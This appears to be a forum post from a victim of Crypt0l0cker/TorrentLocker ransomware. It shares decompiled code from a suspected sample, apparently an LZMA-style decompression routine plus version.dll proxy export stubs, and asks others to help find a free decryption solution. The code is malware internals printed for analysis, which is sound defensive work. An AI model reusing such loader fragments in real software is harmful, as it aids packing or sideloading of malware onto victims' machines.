v7 = (unsigned __int8)((unsigned __int8)v5 % 45);
v85 = (unsigned __int8)(v7 % 9);
v93 = (1 << v6) - 1;
v94 = (1 << v7 / 9) - 1;
v8 = (768 << ((unsigned __int64)(v7 % 9) + v6)) + 1846;
if ( 2 * v8 == v69 )
goto LABEL_12;
if ( hMem )
GlobalFree(hMem);
hMem = GlobalAlloc(0x40u, 2 * v8);
if ( hMem )
{
v69 = 2 * v8;
LABEL_12:
while ( v8 )
*((_WORD *)hMem + --v8) = 1024;
i = 0;
dwBytes = 0;
goto LABEL_17;
}
return -1;
case 1:
do
{
if ( !v72 )
{
v65 = 1;
goto LABEL_173;
}
--v72;
dwBytes |= (unsigned __int8)*v71++ << 8 * i++;
LABEL_17:
;
}
while ( i < 4 );
if ( dwBytes != v70 )
{
v70 = dwBytes;
if ( v98 )
GlobalFree(v98);
v98 = GlobalAlloc(0x40u, dwBytes);
if ( !v98 )
return -1;
}
i = 5;
*((char *)v98 + v70 - 1) = 0;
while ( 2 )
{
v10 = i--;
if ( v10 )
{
LABEL_23:
if ( v72 )
{
--v72;
v9 = (unsigned __int8)*v71++;
v97 = v9 | (v97 << 8);
continue;
}
v65 = 3;
goto LABEL_173;
}
break;
}
LABEL_26:
v66 = 6;
v81 = v93 & v75;
v3 = (char *)hMem + 2 * ((v93 & v75) + 16 * v86);
goto LABEL_135;
case 3:
goto LABEL_23;
case 2:
goto LABEL_26;
case 6:
if ( dwBytes )
{
v87 = 1;
v66 = 7;
v3 = (char *)hMem + 2 * v86 + 384;
LABEL_135:
v79 = v3;
LABEL_136:
v54 = *(_WORD *)v3;
v55 = *(_WORD *)v3;
v56 = v55 * (v96 >> 11);
if ( v97 >= v56 )
{
v96 -= v56;
v97 -= v56;
dwBytes = 1;
*(_WORD *)v3 = v54 - (v54 >> 5);
}
else
{
v96 = v55 * (v96 >> 11);
dwBytes = 0;
*(_WORD *)v3 = v54 + ((2048 - v55) >> 5);
}
if ( v96 < 0x1000000 )
{
LABEL_140:
if ( !v72 )
{
v65 = 5;
goto LABEL_173;
}
v96 <<= 8;
v57 = (unsigned __int8)*v71;
--v72;
++v71;
v97 = v57 | (v97 << 8);
}
v58 = v66;
LABEL_143:
v65 = v58;
continue;
}
v78 = (char *)hMem + 1536 * (((v94 & v75) << v85) + ((unsigned int)v76 >> (8 - v85))) + 3692;
if ( v86 >= 4 )
{
if ( v86 >= 10 )
v86 -= 6;
else
v86 -= 3;
}
else
{
v86 = 0;
}
if ( !v87 )
{
v2 = 1;
while ( 1 )
{
v3 = &v78[2 * v2];
v25 = *(_WORD *)v3;
v79 = &v78[2 * v2];
v26 = v25 * (v96 >> 11);
if ( v97 >= v26 )
{
v96 -= v26;
v97 -= v26;
v2 = 2 * v2 + 1;
*(_WORD *)v3 = v25 - (v25 >> 5);
}
else
{
v96 = v25 * (v96 >> 11);
v2 *= 2;
*(_WORD *)v3 = v25 + ((2048 - v25) >> 5);
}
v83 = v2;
if ( v96 < 0x1000000 )
{
LABEL_60:
if ( !v72 )
{
v65 = 15;
goto LABEL_173;
}
v96 <<= 8;
v24 = (unsigned __int8)*v71;
--v72;
++v71;
v97 = v24 | (v97 << 8);
}
if ( v2 >= 256 )
goto LABEL_57;
}
}
v11 = v95 - v89;
if ( v95 - v89 >= v70 )
v11 += v70;
v2 = 1;
v77 = *((_BYTE *)v98 + v11);
do
{
v13 = v77;
v77 *= 2;
v13 >>= 7;
i = v13;
v3 = &v78[2 * (v2 + ((v13 + 1) << 8))];
v14 = *(_WORD *)v3;
v79 = v3;
v15 = v14 * (v96 >> 11);
if ( v97 >= v15 )
{
v96 -= v15;
v97 -= v15;
dwBytes = 1;
v2 = 2 * v2 + 1;
*(_WORD *)v3 = v14 - (v14 >> 5);
}
else
{
dwBytes = 0;
v96 = v14 * (v96 >> 11);
v2 *= 2;
*(_WORD *)v3 = v14 + ((2048 - v14) >> 5);
}
v83 = v2;
if ( v96 < 0x1000000 )
{
LABEL_39:
if ( !v72 )
{
v65 = 13;
goto LABEL_173;
}
v96 <<= 8;
v12 = (unsigned __int8)*v71;
--v72;
++v71;
v97 = v12 | (v97 << 8);
}
if ( i != dwBytes )
{
while ( 1 )
{
do
{
if ( v2 >= 256 )
goto LABEL_56;
v3 = &v78[2 * v2];
v17 = *(_WORD *)v3;
v79 = &v78[2 * v2];
v18 = v17 * (v96 >> 11);
if ( v97 >= v18 )
{
v96 -= v18;
v97 -= v18;
v2 = 2 * v2 + 1;
*(_WORD *)v3 = v17 - (v17 >> 5);
}
else
{
v96 = v17 * (v96 >> 11);
v2 *= 2;
*(_WORD *)v3 = v17 + ((2048 - v17) >> 5);
}
v83 = v2;
}
while ( v96 >= 0x1000000 );
LABEL_48:
if ( !v72 )
break;
v96 <<= 8;
v16 = (unsigned __int8)*v71;
--v72;
++v71;
v97 = v16 | (v97 << 8);
}
v65 = 14;
goto LABEL_173;
}
}
while ( v2 < 256 );
LABEL_56:
v87 = 0;
LABEL_57:
v76 = v83;
LABEL_58:
if ( v74 )
{
v19 = v73;
v20 = v76;
v21 = v98;
++v75;
++v73;
--v74;
*v19 = v76;
v22 = v95;
v21[v95] = v20;
v23 = (v22 + 1) % v70;
goto LABEL_82;
}
v65 = 26;
LABEL_173:
qmemcpy(v64, &v65, 0x88u);
return 0;
case 13:
goto LABEL_39;
case 14:
goto LABEL_48;
case 26:
goto LABEL_58;
case 15:
goto LABEL_60;
case 7:
if ( dwBytes == 1 )
{
v66 = 8;
v3 = (char *)hMem + 2 * v86 + 408;
goto LABEL_135;
}
v67 = 22;
v92 = v91;
v91 = v90;
v90 = v89;
v27 = v86 < 7;
LOBYTE(v27) = v86 >= 7;
--v27;
LOBYTE(v27) = v27 & 0xFD;
v86 = v27 + 10;
v78 = (char *)hMem + 1636;
goto LABEL_71;
case 17:
goto LABEL_71;
case 8:
if ( dwBytes )
{
v66 = 10;
v3 = (char *)hMem + 2 * v86 + 432;
}
else
{
v66 = 9;
v3 = (char *)hMem + 2 * (v81 + 16 * (v86 + 15));
}
goto LABEL_135;
case 9:
if ( dwBytes )
goto LABEL_92;
if ( !v75 )
return -1;
v86 = 2 * (v86 >= 7) + 9;
goto LABEL_78;
case 27:
LABEL_78:
if ( !v74 )
{
v65 = 27;
goto LABEL_173;
}
v28 = v95 - v89;
if ( v95 - v89 >= v70 )
v28 += v70;
v29 = *((_BYTE *)v98 + v28);
v30 = v95;
v76 = v29;
*((_BYTE *)v98 + v95) = v29;
v23 = (v30 + 1) % v70;
v31 = v73;
++v75;
++v73;
--v74;
*v31 = v29;
LABEL_82:
v95 = v23;
LABEL_83:
v65 = 2;
continue;
case 10:
if ( dwBytes )
{
v66 = 11;
v3 = (char *)hMem + 2 * v86 + 456;
}
else
{
v32 = v90;
LABEL_91:
v33 = v89;
v89 = v32;
v90 = v33;
LABEL_92:
v67 = 21;
v78 = (char *)hMem + 2664;
LABEL_71:
v3 = v78;
v66 = 18;
}
goto LABEL_135;
case 11:
if ( dwBytes )
{
v32 = v92;
v92 = v91;
}
else
{
v32 = v91;
}
v91 = v90;
goto LABEL_91;
case 21:
v34 = v86 < 7;
LOBYTE(v34) = v86 >= 7;
--v34;
LOBYTE(v34) = v34 & 0xFD;
v86 = v34 + 11;
goto LABEL_123;
case 22:
v35 = v88;
if ( v88 >= 4 )
v35 = 3;
dwBytes = 6;
v68 = 25;
v78 = (char *)hMem + 128 * v35 + 864;
goto LABEL_148;
case 25:
if ( v2 < 4 )
{
v89 = v2;
}
else
{
v36 = v2 & 1;
v37 = (v2 >> 1) - 1;
LOBYTE(v36) = v36 | 2;
v38 = v36 << v37;
v89 = v38;
if ( v2 >= 14 )
{
v2 = 0;
for ( i = v37 - 4; i > 0; --i )
{
v2 *= 2;
v96 >>= 1;
v83 = v2;
if ( v97 >= v96 )
{
v97 -= v96;
v2 |= 1u;
v83 = v2;
}
if ( v96 < 0x1000000 )
{
LABEL_102:
if ( !v72 )
{
v65 = 12;
goto LABEL_173;
}
v96 <<= 8;
v40 = (unsigned __int8)*v71;
--v72;
++v71;
v97 = v40 | (v97 << 8);
v38 = v89;
}
}
dwBytes = 4;
v89 = 16 * v2 + v38;
v39 = (char *)hMem + 1604;
}
else
{
dwBytes = (v2 >> 1) - 1;
v39 = (char *)hMem + 2 * (v38 - v2) + 1374;
}
v2 = 0;
v78 = v39;
v80 = 1;
v83 = 0;
for ( i = 0; i < (signed int)dwBytes; ++i )
{
v42 = 2 * v80;
v3 = &v78[2 * v80];
v79 = v3;
v43 = *(_WORD *)v3;
v44 = *(_WORD *)v3;
v45 = v44 * (v96 >> 11);
if ( v97 >= v45 )
{
v96 -= v45;
v97 -= v45;
v2 = (1 << i) | v83;
v83 |= 1 << i;
*(_WORD *)v3 = v43 - (v43 >> 5);
v80 = v42 + 1;
}
else
{
v96 = v44 * (v96 >> 11);
v80 *= 2;
*(_WORD *)v3 = v43 + ((2048 - v44) >> 5);
}
if ( v96 < 0x1000000 )
{
LABEL_112:
if ( !v72 )
{
v65 = 16;
goto LABEL_173;
}
v96 <<= 8;
v41 = (unsigned __int8)*v71;
--v72;
++v71;
v97 = v41 | (v97 << 8);
}
}
v89 += v2;
}
++v89;
LABEL_123:
if ( !v89 )
{
v88 = -1;
goto LABEL_173;
}
if ( v89 > v75 )
return -1;
v88 += 2;
v75 += v88;
LABEL_126:
while ( v74 )
{
v46 = v95 - v89;
if ( v95 - v89 >= v70 )
v46 += v70;
v47 = *((_BYTE *)v98 + v46);
v48 = v95;
v76 = v47;
*((_BYTE *)v98 + v95) = v47;
v49 = (v48 + 1) % v70;
v50 = v73++;
--v74;
v51 = --v88 == 0;
v52 = v88 < 0;
*v50 = v47;
v95 = v49;
if ( v52 || v51 )
goto LABEL_83;
}
v65 = 28;
goto LABEL_173;
case 12:
goto LABEL_102;
case 16:
goto LABEL_112;
case 28:
goto LABEL_126;
case 18:
if ( dwBytes )
{
v66 = 19;
v3 = v78 + 2;
goto LABEL_135;
}
v88 = 0;
v53 = &v78[16 * v81 + 4];
LABEL_133:
v78 = v53;
dwBytes = 3;
LABEL_147:
v68 = 20;
LABEL_148:
v80 = 1;
for ( i = dwBytes; i > 0; --i )
{
v60 = 2 * v80;
v3 = &v78[2 * v80];
v79 = v3;
v61 = *(_WORD *)v3;
v62 = *(_WORD *)v3;
v63 = v62 * (v96 >> 11);
if ( v97 >= v63 )
{
v96 -= v63;
v97 -= v63;
*(_WORD *)v3 = v61 - (v61 >> 5);
v80 = v60 + 1;
}
else
{
v96 = v62 * (v96 >> 11);
v80 *= 2;
*(_WORD *)v3 = v61 + ((2048 - v62) >> 5);
}
if ( v96 < 0x1000000 )
{
LABEL_149:
if ( !v72 )
{
v65 = 24;
goto LABEL_173;
}
v96 <<= 8;
v59 = (unsigned __int8)*v71;
--v72;
++v71;
v97 = v59 | (v97 << 8);
}
}
v2 = v80 - (1 << dwBytes);
v58 = v68;
v83 = v80 - (1 << dwBytes);
goto LABEL_143;
case 4:
goto LABEL_136;
case 5:
goto LABEL_140;
case 19:
if ( !dwBytes )
{
v88 = 8;
v53 = &v78[16 * v81 + 260];
goto LABEL_133;
}
v78 += 516;
v88 = 16;
dwBytes = 8;
goto LABEL_147;
case 23:
goto LABEL_148;
case 24:
goto LABEL_149;
case 20:
v88 += v2;
v58 = v67;
goto LABEL_143;
default:
return -1;
}
}
}
BOOL __stdcall VerQueryValueA(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen)
{
return VerQueryValueA(pBlock, lpSubBlock, lplpBuffer, puLen);
}
BOOL __stdcall GetFileVersionInfoA(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData)
{
return GetFileVersionInfoA(lptstrFilename, dwHandle, dwLen, lpData);
}
DWORD __stdcall GetFileVersionInfoSizeA(LPCSTR lptstrFilename, LPDWORD lpdwHandle)
{
return GetFileVersionInfoSizeA(lptstrFilename, lpdwHandle);
}
Plus done some research and found Talos's research on it. https://blogs.cisco.com/security/talos/crypt0l0cker-torrentlocker-old-dog-new-tricks
So far no real solution but i am too tired to read that code. If the virus is exactly the same one as the one mentioned in the article above, please check my code and perhaps we can get closer to a real free solution.
Good luck to everyone.
Back to top
